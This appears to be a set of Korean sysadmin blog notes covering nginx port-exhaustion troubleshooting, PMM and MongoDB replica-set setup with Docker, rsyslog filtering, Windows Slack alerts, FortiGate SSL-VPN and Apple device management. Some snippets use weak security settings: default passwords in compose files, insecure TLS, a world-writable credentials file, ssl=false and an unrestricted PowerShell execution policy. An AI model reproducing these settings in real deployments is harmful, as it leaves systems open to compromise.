8. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
9. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
10. SSL 암호화된 데이터 전송 https OK
11. SSL 암호화된 데이터 전송 https OK
12. FIN_WAIT1 - proxy1에서 standby1한테 접속 끊자는(FIN) 패킷 발송 : 나(proxy1)는 너(standby1)한테 볼일 다 봤어. 이제 끊자(FIN)
13. CLOSE_WAIT - standby1이 proxy1한테 Fin에 대한 응답(Ack) : 그럴래 ? 잠깐만~ 너가 볼일 다본 프로세스 종료준비좀 할께. 기다려봐
14. LAST_ACK - standby1이 proxy1한테 FIN 패킷 발송 : 나(standby1)는 프로세스 종료할 준비 됐어 ~ 너 준비 됐어 ?
15. TIME_WAIT - proxy1이 standby1한테 종료에 대한 응답 .(ACK) 발송 : 응. 나 끊었어
    끝

정상 / 비정상과 딱히 차이 없음.

비정상일때 패킷2개가 더 있긴한데 이거는 SSL 통신할 때 인증서 확인을 한패킷에서 했냐 한번 나눴냐 차이. 즉 패킷이 끊기는건 없다. 따라서 timeout은 아니라는 말.
ㄴ간헐적 장애는 거의 대부분이 timeout문제(경험)임. 네트워크랑 앤드포인트나 애플리케이션단 타임아웃이 서로 달라서 발생하는등. 근데 이 문제는 타임아웃 문제 아님. 그럼 백프로 nginx proxy서버문제가 맞다고 보여진다.

nginx proxy 에러로그를 다시한번 살펴보면..

에러 발생한 시간에 bind(0.0.0.0) failed (98: Address already in use) while connecting to upstream, 이게 찍혀있다. 포트 중복되는 문제로 많이 보던 에러라 보고서 누가 포트 잘못 올렸나 하고 넘어갔떤건데... 이제보니 포트가 안찍혀있다.
그리고 생각해보면 포트 중복문제면 nginx 재시작등 서비스 올라올 때 포트 중복되면 찍혀야 하는건데 이건 라이브중에 찍힌 에러.. 이 에러가 문제가 맞는것으로 보인다.

혹시나 icinga2에서 에러 발생한 시간에 맞춰보니 전부 그시간에 위 에러가 찍혀있다. 물론 icinga2는 체크를 실시간으로 하는게 아니니까 백프로 일치하진 않지만 nginx에 찍힌 에러 로그안에 아이싱가 로그 시간을 포함하고 있다.

bind(0.0.0.0) failed (98: Address already in use) while connecting to upstream 이처럼 포트가 안찍히는 경우는 해당 서버가 클라이언트입장에서 서버로 로그인 할 때 클라이언트 포트가 이미 사용중이라 해당 에러가 발생할 수 있다. > nginx proxy가 실서비스(도커의 :28080)

[root@proxy1 ~]# cat /proc/sys/net/ipv4/ip_local_port_range

1024 65535

[root@proxy1 nginx]# netstat -an |grep TIME_WAIT | grep -v 1.1.1.1:443 | grep -v 1.1.1.1:80 | awk '{print $4}'| awk -F ":" '{print $2}' | sort -n | head

1024

1025

1026

1027

1030

[root@proxy1 nginx]# netstat -an |grep TIME_WAIT | grep -v 1.1.1.1:443 | grep -v 1.1.1.1:80 | awk '{print $4}'| awk -F ":" '{print $2}' | sort -n | tail

65524

65525

65528

65529

65535

[root@proxy1 nginx]# netstat -an |grep TIME_WAIT | grep -v 1.1.1.1:443 | grep -v 1.1.1.1:80 | wc -l 44562

실제로 클라이언트 포트를 1024부터 뛰엄뛰엄 65535까지 상당히 많이 쓰고 있지만 이론상으로 현재 문제는 발생하면 안된다.(6만개도 안넘었으니까)

[root@proxy1 log]# cat /home/var/proxy1.datawave.co.kr/logs/error.log | grep 'Address already in use' | awk '{print $2}' | awk -F ":" '{print $1":"$2}' | sort | uniq -c | sort -rn | head -n 100

10743 05:29

10472 05:28

10092 05:43

10070 06:29

8481 05:51

8263 05:49

8252 05:48 중략

6081 05:26

6065 05:08

새벽 5~6시에 집중돼있음

netstat -an 카운트 새벽에 계속 돌렸을 때 몇개까지 차는지 보면 이게 원인인지 아닌지 확인 할 수 있음

만약 클라이언트 포트 고갈 문제가 맞다면

log3의 8080(fastlog)와 통신을 가장 많이하는데 이거 1회성 연결로 끊지말고 1시간에 한번씩 연결해서 작업하던가 하는 식으로 바꾸는게 바람짐학

서버에서 해줄 수 잇는 작업은 리싸이클 커널 파라미터 조정해야 할 듯 한데(그 외 커널 파라미터는 최적화 돼 있는 상태임)

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=nkyle9361&logNo=220060056557

근데 위 설정 해주면 fin 안받고 세션 끊고 바로 배정하는거라 킵얼라이브처럼 세션 재활용할 때 500 에러 난다고 하니 위 설정은 하면 안될 듯 - 위 본문에도 있듯이 Client쪽이 방화벽 또는 NAT 환경일 때<< 프록시 서버라 문제 날 수 있을것같음.

아마존 - AWS, 구글 - GCP, 마소 - Azure 와 같이 이미 구축되어진 클라우드 시스템을 이용하는것이 퍼블릭 클라우드라면관리자가 직접 프라이빗 클라우드 시스템을 구축할 수 있게끔 해주는 오픈소스 프로젝트가 openstack이다. 
(국내에 Openstack으로 클라우드 서비스를 제공하는 업체도 있다고 한다.)

기존 사내 업무 환경이 기존에는 구글 엑셀을 통해 업무를 많이 봤는데 최근에 rdbms를 통한 업무가 상당히 많아졌다.기존에도 rdbms를 쓰긴 했지만(사내 디비 환경은 도커 컨테이너 기반의 master+slave 환경으로 서비스를 하고 있었다.) 웹+디비등의 환경에서만 쓰였는데 최근에는 대부분의 임직원이 디비를 활용하여 업무를 하고 있다.

어쨌든 업무환경이 디비를 통한 업무가 증가하면서 기존에는 원활하게 돌아가던 DB(mariadb)가 원인불명의 다운이 발생한다. 아마 사용량이 많아지면서 잘못된 사용?이 있었거나.. 여튼 원인을 파악해야 하기에 모니터링 툴을 찾아봤고 pmm 이 나왔다.

pmm 이란 페르소나 모니터링 엔드 메니지먼트로 여러 오픈소스 디비의 모니터링을 지원(오라클은 지원X)하고 있다. 클라우드 디비들까지.

pmm은 클라이언트-서버로 구성 돼 있다. 클라이언트에서 수집된 데이터들을 서버로 보내면 서버에서 웹UI를 통한 대시보드, 그래프등으로 표시된다.

PMM 서버는 쿼리 분석을 위한 [QAN API, QAN web app] / DB저장 및 시각화하기 위한[그라파나, 프로메테우스, 클릭하우스]로 이루어져 있고 이것들로 유저는 PMM 서버의 엔진엑스/pgsql을 통해 웹 UI제공/설정저장이 가능하다.

PMM 클라이언트는  pmm-admin 과 pmm-agent, db-expoter로 이루어져있고 클라이언트의 데이터를 수집하고 서버로 전송하기위한 과정들을 할 수 있게끔 한다.

즉 쉽게 설명하자면

pmm 모니터링을 하기 위해서는 3가지가 필요하다.

pmm 서버 / pmm 클라이언트 / 수집대상 데이터베이스

pmm 서버는 당연히 아무곳에나 해도 되고 pmm 클라이언트도 아무곳에나 해도된다. 꼭 수집대상 데이터베이스에 안해도 된다. 

따라서 나같은 경우는 pmm서버/클라이언트를 한곳에 설치해줬다. 클라이언트라길래 꼭 수집대상 데이터베이스가 있는 서버내에 설치해야하나 헷갈렸어서 적어준다. 물론 데이터베이스 있는 서버에 설치해주면 서버의 리소스까지도 모니터링이 되는 이점은 있다.

설치 진행

현재 인프라 운영환경이 전부 도커 컨테이너 기반이기 떄문에 설치도 도커(도커 컴포즈)를 통해 진행할꺼고 순서는 다음과 같다.

1. 모니터링 호스트 서버에 PMM-server를 도커컴포즈로 설치하고
2. PMM-client가 디비에서 데이터 수집을 할 수 있도록 디비 계정 생성 및 추가 설정 진행 해주고
3. 디비 컨테이너가 있는 도커 컴포즈에 PMM-client를 추가하고

4. 

1. 모니터링 호스트 서버에 PMM-server 설치

version: '2'

services:
  pmm-data:
    image: percona/pmm-server:latest
    container_name: pmm-data
    volumes:
      - ./prometheus/data:/opt/prometheus/data
      - ./consul-data:/opt/consul-data
      - ./mysql:/var/lib/mysql
      - ./grafana:/var/lib/grafana
    entrypoint: /bin/true

  pmm-server:
    image: percona/pmm-server:latest
    container_name: pmm-server
    ports:
      - '11180:80'
    restart: always
    environment:
      - SERVER_USER=admin
      - SERVER_PASSWORD=pmmadmin
      - METRICS_RETENTION=720h
      - METRICS_MEMORY=4194304
      - METRICS_RESOLUTION=1s
      - QUERIES_RETENTION=30
    volumes_from:
      - pmm-data

docker-compose up -d 하고 웹으로 접속하면 초기 아이디/패스워드는 admin/admin 인것같다. 컴포즈에서 설정하는건 적용이 안되는것으로 보임 기본 아이디 패스워드는 admin/admin 이다. 패스워드는 로그인 한 뒤 패스워드 변경해야 하고 변경된 상태로 컨테이너 스탑 한 뒤 컨테이너 이미지를 새로 만들어야 한다.(각종 설정정보는 위에 기술한것처럼 pmm-server 내 pgsql에 저장 되는데 pgsql은 컴포즈 설정상 바인딩마운트를 하지 않기 때문에 도커 컴포즈 재시작하면 설정 다 날라간다. 그래서 초기 설정한 뒤 이미지 새로 떠놓던가 아니면 pgsql도 바인딩 마운트 추가하던가 해야함)

2. 수집할 데이터가 있는 디비에 pmm-client가 접근할 수 있도록 계정 생성 및 데이터 권한 추가

MariaDB [(none)]> create user 'pmm'@'192.168.226.%' identified by '패스워드';
Query OK, 0 rows affected (0.001 sec)
MariaDB [(none)]> grant select, process, replication client, reload on *.* to 'pmm'@'192.168.226.%';
Query OK, 0 rows affected (0.001 sec)

3. pmm-client가 디비서버에서 쿼리데이터를 수집 할 때 슬로우쿼리/퍼포먼스스키마 둘중 하나에서 수집하는데 뭘로할지 정해야함.

아래 설명 보는것처럼 슬로우쿼리는 디테일한 정보(즉 더 많은 정보)를 볼 수 있지만 시스템 성능에 영향을 줄 수 있고 로그 용량 관리등을 해줘야 한다. 반면 퍼포먼스 스키마에서 가져올 경우 디테일하지 않다는 단점만 있다. 일단 퍼포먼스 스키마로 설정해주고 내가 필요한 데이터(즉 현재 다운되는 원인을 파악 할 수 있는 데이터)가 없다면 슬로우 쿼리로그로 바꾸는게 맞을것같은데...

그러나 현재 디비 구성이 퍼포먼스 스키마는off이고 슬로우 쿼리가 on이다. 
우선 퍼포먼스 스키마/슬로우 쿼리에 대해 좀 더 알아볼 필요가 있겠다. 슬로우쿼리는 우리가 지정한 타임 이상 걸린 쿼리에 대한 정보를 남기는것이고 퍼포먼스스키마에 대한 설명:http://cloudrain21.com/everything-of-mysql-performance-schema 

말 그대로 성능에 대한 정보가 담긴 디비(스키마)라고 생각하면 됨.

정리하자면 
슬로우쿼리 : 내가 설정해둔 시간보다 많이 걸리는 쿼리들 로깅 됨
퍼포먼스 스키마 : 여러 수집 가능한 정보들이 있는데 항목별로 on/off하여 수집 가능
앞서 PMM에서 알려준(슬로우쿼리가 좀 더 디테일한 장점이 있고 반대로 퍼포먼스스키마는 정보가 많지 않다는 단점이 있다는) 것과 반대로 디비 운영 관점에서 보자면 슬로우쿼리(슬로우쿼리에 쌓이는 데이터들은 단순히 어떤 쿼리가 느렸는지 정도만 파악 가능)보다 퍼포먼스 스키마가 더 많은(더 디테일한)정보를 볼 수 있다고 이해가 된다. 

근데 왜 PMM에서는 슬로우쿼리가 좀 더 디테일하다고 설명하는걸까 ? 슬로우쿼리 안에 데이터로 뭐가 분석이 되나...? 이부분 이해가 안가는데... 단순히 슬로우 쿼리는 쿼리 전체가 다 찍히니... 그래서 디테일 하다는건가 ? 일단 설치해보고 슬로우쿼리/퍼포먼스스키마 각각 수집되는 항목들 직접 보고 비교해봐야겠다.

아래와 같이 performance_chema를 on등을 설정해주고 mysql을 재시작한다.
performance_schema=ON
performance-schema-instrument='statement/%=ON'
performance-schema-consumer-statements-digest=ON
innodb_monitor_enable=all
#query_response_time_stats=ON   ###이건 mysql에 플러그인 추가로 설치해줘야 한다. 
userstat=ON

퍼포먼스 스키마 실행 확인 완료

퍼포먼스 스키마DB에 데이터가 쌓이고 있음도 확인

4. pmm-client install

https://docs.percona.com/percona-monitoring-and-management/details/commands/pmm-agent.html 참고하였다.

우선 아래의 내용으로 docker-compose.yaml 생성
version: '2'
services:
  pmm-client:
    image: percona/pmm-client:2
    hostname: pmm-client-myhost
    container_name: pmm-client
    restart: always
    ports:
      - "42000:42000"
      - "42001:42001"
    logging:
      driver: json-file
      options:
        max-size: "10m"
        max-file: "5"
    volumes:
      - ./pmm-agent.yaml:/etc/pmm-agent.yaml
      - pmm-client-data:/srv
    environment:
      - PMM_AGENT_CONFIG_FILE=/etc/pmm-agent.yaml
      - PMM_AGENT_SERVER_USERNAME=admin
      - PMM_AGENT_SERVER_PASSWORD=admin
      - PMM_AGENT_SERVER_ADDRESS=X.X.X.X:443
      - PMM_AGENT_SERVER_INSECURE_TLS=true
    entrypoint: pmm-agent setup
volumes:
  pmm-client-data:

      - PMM_AGENT_SERVER_ADDRESS=X.X.X.X:443
    hostname: pmm-client-myhost
위 두개를 수정해준다

그리고 콘피그 파일 touch pmm-agent.yaml && chmod 0666 pmm-agent.yaml 수정 될 수 있또록 생성/권한 수정 해주고

docker-comose up(설정파일 생성을 위해 임시로 실행하는것임)해주면 아래와 같이 pmm-agent.yaml이라는 설정파일이 생성된다.

여기서 중요한점 두가지
첫번째는 해당 설정파일에는 인증정보가 있으니 외부로 노출하면 안되고 두번째는  docker-compose.yaml 에서 수정했던
    hostname: pmm-client-myhost
위 부분을 각 사용자에 맞게 수정을 해줘야 그에 맞춰서 pmm setup 명령어를 통해 agent.yaml이 생성된다. 만약 hostname을 기존에 쓰던 네임일 경우 agent 설정파일이 생성되지 않는다.
agent.yaml 생성 됐으면 마지막으로 다시한번 도커 컴포즈 야믈파일에서     entrypoint: pmm-agent setup 이부분 주석하고 다시한번 마지막으로 docker-compose up -d 으로 실행해주면 컨테이너가 잘 실행 될것이다.pmm-agent.yaml 파일에 데이터가 씌어져 있어야 한다.

여기서 발생한 에러 

위와같이 pmm.mycompanydomain.co.kr로 연결이 안됨.

원인 : pmm-client가 pmm-server로 연결 할 때 pmm.mycompanydomain.co.kr 주소로 연결하는데 
회사 구성은 도메인 연결시 nginx.proxy 구성이 돼 있기에 pmm.mycompanydomain.co.kr:443 은 nginx proxy 로 intra.mycompany.co.kr:11443으로 포워딩 해주고 있는데
https://forums.percona.com/t/pmm-agent-can-not-connect-to-pmm-server-when-using-reverse-proxy/8435/10
이 과정에서 문제가 있었던것 같고 그냥 intra.마이콤파니닷컴 명시해주었다.

마지막으로 pmm.url.com 대쉬보드로 접속해서 

아까 pmm 계정 생성했던(즉 모니터링 할 디비)서버 정보 입력해주고 몇분 기다려보면 아래와같이 데이터가 수집된다.

모니터링 하는 방법은

그래프 쌓아서 보다보면 이건 쫌 이상한데 ? 싶은 튀거나 이가 빠지는 그런 그래프가 있을꺼다. 딱봐도 수상해보이는 그래프들이 있을꺼니까 

위와 같이 해당 그래프의 panel json을 들어가보면 

각 그래프들의 설명을 자세하게 적어줬다. 심지어 URL까지.

/ 디렉토리 용량이 많이 차서 원인이 뭔지 확인하려고 du -sch ./* 이런 명령어 입력하면

별도로 파티셔닝했떤 /home 디렉토리도 같이 용량 체크하느라 시간이 오래걸리는경우가 있다. 이 외에도 du 후 exclude 폴더가 절실할때가 많았다. 몇번 찾아보기도 했었는데 분명 안나왔었고...  그래서 매번 du -sch ./a* du -sch ./b*  이런식으로 찾다가... 

이참에 exclude 옵션을 추가하여 du 명령어를 더 보완해보자 라는 마음으로 du exclude 구글링 검색을 해봤는데..

아래와 같이 du 에서 --exclude 옵션이 있었다... 예전에 내가 검색을 잘 못했던것 같다....

du -sch ./* | grep -v 폴더 이런식의 방법만 나와서 시간 오래걸리는건 매한가지로 똑같았는데 분명... 이상하다. 여튼 du 에도 exclude 옵션이 있다.

목표 : isms 관점에서 법령에 맞게끔 DB로깅을 하고 분석을 한다.
필요 로그정보 : "누가,언제,어디서,무엇을,어떻게" 의 5개 정도 나오면 된다고 본다.

general로그에는 모든 쿼리가 전부 쌓이고 있으니 확인이 가능하지만 general 로그 용량이 너무 커져서 select query는 안남도록 하고싶다.

확인해보니 select을 제외한 트랜잭션이 발생한 쿼리만 로깅하는게 바이너리로그다. (알고 있었는데 까먹었었다.)

바이너리로그를 보는법은 mysqlbinlog bin로고ㅡ파일명 > filename.sql 확인 가능하다 허나 bin log에는 ISMS에서 필요로 하는 누가와 어디서가 나오지 않는다. 따라서 isms의 개인정보처리시스템에 대한 로그는 general로그를 보관하는게 맞다.

내가 쓰고도 이글의 요지가 뭔지 모르겠는데... 이글을 처음 쓰게된 이유(목표)는 general로그 용량이 워낙 크니 select 쿼리는 빼자였는데... isms 관점에서는 빼면 안되는거였다. 애초에 생각을 깊이 하지 않아서 이런 똥글이 나왔다.

Jul 11 03:37:14 db1 systemd: Created slice libcontainer_16098_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Removed slice libcontainer_16098_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16126-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16126-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Created slice libcontainer_16126_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Removed slice libcontainer_16126_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16153-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16153-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Created slice libcontainer_16153_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Removed slice libcontainer_16153_systemd_test_default.slice.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16180-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16180-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Created slice libcontainer_16180_systemd_test_default.slice.
Jul 11 03:37:15 db1 systemd: Removed slice libcontainer_16180_systemd_test_default.slice.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16207-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16207-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Created slice libcontainer_16207_systemd_test_default.slice.

위와같은 에러가 message 로그에 대량(초당 3~4회씩반복)으로 남고있어, 메세지로그확인이 상당히 어렵다.

하여 아래와 같이 원인 분석 및 조치를 진행했다.

1. 해당 로그가 쌓이는 원인 파악
https://github.com/kubernetes/kubernetes/issues/71887

https://github.com/moby/moby/issues/30628

위 내용들을 종합해보자면 docker 의 native cgroup driver를 native.cgroupdriver=systemd 으로 사용하고 있는데 

systemd에 의해 잘 실행 되는지 컨테이너 런타임(runC)이 잘 실행되는지 확인하기 위한 일시적인 테스트라고 한다.
테스트로 컨테이너를 생성하는데 pid가 없으니까 생성/삭제하는건가... 이 이상으로 설명이 돼 있는건 구글링해도 찾을수가없었다.

여튼 해당 메세지 자체가 있다고해서 서버나 운영환경에 문제를 야기할껀 아니라고 판단된되니 로그를 안쌓도록 하면 될것같다.

2. 해당 로그를 안쌓도록 하는 방법

근본적으로 도커 컨테이너에서 설정을통해 안쌓도록 하고 싶지만 구글링시 안나오고 있다. 따라서 rsyslog에서 해당 로그는 쌓이지 않도록 설정한다.

[root@db1 rsyslog.d]# pwd
/etc/rsyslog.d
[root@db1 rsyslog.d]#
[root@db1 rsyslog.d]#
[root@db1 rsyslog.d]# cat ignore-container-log.conf
if ($programname == "systemd") and ($msg contains "_systemd_test_default.slice" or$msg contains "systemd-test-default-dependencies.scope") then {
  stop
}

위와 같이 rsyslog.d 에 ignore 설정파일 하나 만들어서 메세지 같으면 안쌓이도록 설정 

고객 요청에 의한 단일노드 설치나 테스트로 CRUD까지만 해봤는데 이번에 실무에서 처음으로 mongodb 구축 및 관리를 진행하게 됐다.
따라서 SE 관점에서 구성전 알아야 할 것, 설치방법, 백업&모니터링등 관리 노하우, 장애 대처법정도 메뉴얼로 정리해본다.

상황
GCP firebase realtimeDB 를 사용하고 있었는데 월 천만원정도 나오던게 월 2천만원이 발생하였다. firebase의 경우 데이터를 쓰는데는 금액이 무료(저장공간에 대한 비용은 발생)지만 다운로드 한 크기(즉 쿼리가 실행에 대한 응답, read)에 대해 비용이 발생한다. 따라서 수시로 데이터를 read 해야 한다면 ? (예를들어 실시간으로 랭킹이 바뀌는.) 비용이 어마어마하게 나올것이다.(나왔다.)

비용에 대한 압박때문에 개발자가 맘편히 개발을 못하는 환경은 좋지 못하다고 판단하여 realtimeDB를 사내 IDC에 자체 구축한 DB로 옮기기로 하였고 그에 따라 mongodb를 구축하기로 하였다. nosql 인지도 1등, 기존에 사용하기도 했었기에.

구축전 알아야 할 것
1. mysql / mongodb 용어 차이

2.스키마 설계시 고려사항 - 우리는 설치까지만하고 이후부터는 개발자가 하겠지만 그래도 알면 나쁠거 없으니 쓰윽 읽어보면 좋을듯

1.도큐먼트의 최대 크기는 16MB

2.쿼리 및 쓰기의 접근 패턴
가장 일반적인(빈도가 가장 많은)쿼리와 함께 쿼리되는 데이터가 동일한 도큐먼트에 저장되도록 설계하고 이러한 쿼리(앞서 말한 일반적인 쿼리)에 사용되지 않는 데이터나 자주 사용하지 않는 데이터는 다른 컬렉션에 넣자.
동적(읽기/쓰기)-정적(대부분 읽기)데이터 분리 여부도 고려

3.cardinality
도큐먼트와 데이터의 관계가 one to (few,many,squilions) 을 고려 - https://m.blog.naver.com/heops79/221649719470 참고 

4.스키마 설계 패턴 - 개발자에게 패턴을 추천해주면 좋을듯
다형성 패턴 - 
속성 패턴 - 
버킷 패턴 - 
이상치 패턴 - 
계산된 패턴 - 
서브셋 패턴 - 
확장된 참조 패턴 - 
근사 패턴 - 
트리 패턴 - 
사전 할당 패턴 - 
도큐먼트 버전 관리 패턴 - 

5.정규화 vs 비정규화 
일반적으로 정규화(데이터를 여러 컬렉션에)는 쓰기가 빠르고 비정규화(모든 데이터를 하나의 도큐먼트에)는 읽기가 빠르다.

6.오래된 데이터 제거
제한 컬렉션 사용 - 오래된 데이터가 밀려나는 방식, 급격히 증가하는 트래픽에 안좋음
TTL 컬레션 사용 - 294페이지
주기마다 컬렉션 삭제 - 여러개의 컬렉션을 사용(rotate 방식이라 생각하면될듯) - 컬렉션네임을 동적으로 사용ㅎ애 여러 데이터베이스를 조회하기에 구축하기에 복잡
7.데이터베이스와 컬렉션 설계시 고려사항
- 스키마가 유사한 도큐먼트는 같은 컬렉션에

이제부터가 se 영역

mongodb 구성은 보통 3가지로 진행한다.
단일 - 테스트용도

replica set - 일반적으로 사용됨
샤딩 - 대용량 고사양 필요시

여기서는 replica set을 구성했고 각각 다른 3개의 서버에 각각의 mongodb 컨테이너를 실행해서 프라이머리(P)세컨(S)세컨(S)pss 방식으로 리플리카셋 구성(하나의 서버에 컨테이너 실행할때도 동일하게 하되 바인딩포트만 바꾸면됨)

1.각각의 서버에 mongodb 실행

compose.yaml 파일 내용

version: "3"
services:
  devmongo.test.co.kr:
    image: docker.bitmango.com/mongodb.test.co.kr:2021_10_5
    restart: always
    container_name: devmongo.test.co.kr
    ports:
      - "28017:27017"
    volumes:
      - ./data/db:/data/db
    entrypoint: [ "/usr/bin/mongod", "--bind_ip_all", "--replSet", "replication", "-f", "/etc/mongod.conf", "--journal", "--dbpath", "/data/db", "--enableMajorityReadConcern", "false" ]

이미지 안에는 mongodb 4점대 latest기본 이미지 파일에 

관리자계정 생성한다음 (생성하느건 구글링 많음)

[root@db1 mongore.datawave.co.kr]# cat mongod.conf
# mongod.conf
security:
  keyFile: "/etc/mongodb.key"
  clusterAuthMode: "keyFile"
  authorization: "enabled"

/etc/mongodb.key 파일 들어가있고 key파일 들어가있는걸 컨테이너 커밋한거고 생성하는건 아래처럼

출처: https://appledog.tistory.com/entry/MongoDB-Replica-Set-설정 [김군이다 (머리가 나쁘면 적어!)]

2.리플리카셋 구성 

한서버에서만 아래 입력(아마 입력하는곳이 프라이머리가 되는것같음?)

> var config = {
... _id: "replication",
... members: [
... {_id: 0, host: "db1.test.co.kr:28017"},
... {_id: 1, host: "db2.test.co.kr:28017"},
... {_id: 2, host: "db3.test.co.kr:28017"}
... ]
... };

이러면 리플리카셋 구성 끝.

3. 실제 사용자에게 제공할 유저&디비 생성하기
replication:PRIMARY> use 2222222
replication:PRIMARY> db.createUser({ user: "2222222", pwd:"1111111", roles: ["readWrite"]})

위처럼 생성할 디비 를 use 디비명 해주고 거기서 createUser 해주면 됩니다.


접속은

mongodb://222222:*****@db1.test.co.kr,db2.test.co.kr,db3.test.co.kr:28017/?authSource=222222&replicaSet=replication&readPreference=nearest&appname=MongoDB%20Compass&ssl=false

위와같이...

이중에 readPreference 옵션은(https://rastalion.me/mongodb-replica-set-%EC%84%B8%EB%B6%80-%EC%84%A4%EC%A0%95%EA%B0%92-%EC%A1%B0%EC%A0%95%ED%95%98%EA%B8%B0/참고)

• primary: 기본값이며, Primary 구성원으로부터 값을 읽고 오며, 딜레이 없이 데이터 수정 및 삽입 작업이 가능합니다.
• primaryPreferred: Primary 구성원으로부터 우선적으로 데이터를 읽어옵니다. 특별히 Primary 쪽의 읽기 작업이 밀려있지 않으면 Primaey에서 데이터를 가져오기 때문에 변경사항을 바로 확인 할 수 있습니다. 읽기가 밀려 있는 상태라면 Secondary에서 데이터를 읽어옵니다.
• secondary: 모든 읽기 작업을 Secondary 에서 처리합니다.
• secondaryPreferred: 우선적으로 읽기 작업이 발생하면 Secondary에 작업을 요청합니다. 하지만 모든 Secondary에서 작업이 밀려 있는 경우 Primary에 읽기 작업을 요청합니다.
• nearest: 해당 구성원이 Primary인지 Secondary인지에 관계없이 네트워크 대기 시간이 가장 짧은 복제본 세트의 구성원에서 읽기 작업을 합니다.

•  
•  

  mongo "mongodb://mongodb0.example.com.local:27017,mongodb1.example.com.local:27017,mongodb2.example.com.local:27017/?replicaSet=replA&ssl=true"

자주 사용하는 명령어
rs.conf() - rs설정 확인
rs.isMaster() - rs 프라이머리 확인
use dbname
db.createCollection("[COLLECTION_NAME]") - collection 생성
rs.slaveOk() - slave 에서 쿼리하고싶을때
db.getUsers() - DB에 연결된 유저 리스트 확인

db.createUser({ user: "USERNAME", pwd: "PASSWORD", roles: [ "readWrite" ]})

db.auth("아이디", "패스워드")

빌트인돼있는 주요 디비 권한들

read

readWrite

참고 책
몽고디비 완벽가이드3판-크리스티나초도로

참고 사이트
https://edu.goorm.io/learn/lecture/557/%ED%95%9C-%EB%88%88%EC%97%90-%EB%81%9D%EB%82%B4%EB%8A%94-node-js/lesson/174384/mongodb%EB%9E%80

윈도우에서 슬랙 메세지 보내기

상황 : 윈도우에 누군가 로그인 할 때마다 슬랙으로 메세지를 받고자 한다.

작업스케쥴러에 로그인시 특정프로그램(슬랙메세지프로그램)실행되도록 하면 될듯.

작업스케쥴러 설정하는건 구글링하면 많이 나온다. 근데 윈도우에서 슬랙메세지 보내는건 잘 안나온다. 리눅스처럼 curl 명령어로 해봐도 에러가 난다. 그래서 파워쉘모듈중 psslack 이라는 파워쉘-슬랙 모듈을 사용해본다.

https://github.com/RamblingCookieMonster/PSSlack

여기서 import-module psslack 할 때 에러난다.

나의 경우는 권한문제로 에러가 발생했고 파워쉘 실행할 때 관리자권한으로 실행해주고

execution policy 입력시 결과가 restricted 라면 set execution-policy unrestricted 로 해준 뒤 임폴트-모듈 psslack 하면 잘 된다.

재택근무가 길어짐에따라 site to client 의 SSL-VPN 구성이 필요해졌다.

직원별로 접속 계정을 하나하나 생성할수도 없는노릇이고. 내가 지금 다니는 회사는 구글 워크스페이스로 업무를 하고 있다. 따라서 Single sign on 기능으로 구글 워크스페이스와 연동해보려한다.

fortigate 100E의 SSL-VPN 설정 화면이다. 설정하기에 앞서 간략히 SSL-VPN에 대해 설명을 하자면

SSL 프로토콜을 이용하여 VPN을 구성하는데. 클라이언트(즉 재택하는 직원)는 별도의 프로그램이 필요 없고 웹 브라우저만 있으면 VPN 접속을 할 수 있기에 굉장히 편리하다. 

SSL-VPN portals 는 클라이언트가 SSL-VPN으로 연결되어 보여질 웹페이지의 레이아웃과 사용자에게 할당 될 IP 대역을 설정하는 메뉴이다.
web-access mode : 포티장비가 

상황

사내 제공되는 개인 PC는macbook pro(mbp)이며 테스트 기기로도 mac mini, iphone, ipad 등 지급됨

발생하는 문제

하나하나 관리하기가 너무 어렵다.. 예를들어 각 팀별 설치해줘야 할 앱이 있을텐데 하나하나 설치해줄수도 없다. 물론 그냥 초기화해놓은 기기를 주고 팀에서 알아서 하라 할 수도 있지만... 기왕이면 중앙에서 관리하는게 더 좋다. 보안상의 이유로도 그렇고(불필요한 앱 설치 못하도록 설정등)
무엇보다 해당 기기에 직원이 로그인을 해두고 퇴사를 하면. 해당 기기는 퇴사한 직원의 소유로 보기 때문에(애플에서)해당 기기는 벽돌이 된다. 초기화를 해도 로그인은 안풀린다. 나의기기 찾기 ? 뭐 그런거 때문에. 

위의 상황들등으로 애플에서는 apple business manager(또는 학교전용apple school manager)을 제공하고 있는데. 이것들만 가지고는 제대로된 기능을 사용할 수 없다. 여기에 모바일 디바이스 메니져라는 MDM을 같이 사용해야 한다.

근데 이게 금액이 싸지 않다. 그래서 오픈소스(무료)로 할만한건 없나 찾아봤는데. osx server로 프로파일을 관리하고 계정 초기화도 할수있고 그런것같다. 

https://support.apple.com/ko-kr/guide/profile-manager/pm9cz84lqi/5.11/mac/11.0

https://help.apple.com/serverapp/mac/5.0/?lang=ko#/apdA7FC4B2C-DB46-4A9C-BCF6-E6857B39E6C3 

각각 간략한 사용법과 자세한 사용법

전부 읽어보고 구축해볼생각이다. 후기 및 사용법은 주기적으로 업데이트하기

abm - abm에 기기를 등록한다. 즉 해당 기기가 개인의 소유가 아닌 abm에 가입한 회사의 소유임을 입증한다.
ㄴabm은 apple business manager로 회사계정으로 여기에 가입 해야 함. 아주 간단한 기기 컨트롤까지 가능함

